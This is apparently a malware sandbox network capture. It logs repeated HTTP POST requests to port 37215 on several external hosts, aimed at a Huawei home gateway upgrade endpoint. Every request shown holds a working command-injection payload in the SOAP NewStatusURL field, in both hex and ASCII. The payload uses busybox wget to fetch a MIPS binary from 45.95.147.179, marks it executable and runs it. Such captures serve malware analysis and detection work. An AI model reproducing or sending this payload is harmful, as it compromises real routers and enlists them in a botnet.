Jan 22, 2024 04:00:06.351957083 CET	736	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusUR
Jan 22, 2024 04:00:06.502765894 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 22 Jan 2024 03:00:05 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.20	50168	156.247.28.227	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:06.512968063 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:07.992624998 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:09.772537947 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:13.332587957 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:20.460602999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:34.700556040 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:03.148736000 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.20	41830	156.247.29.8	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:06.810197115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
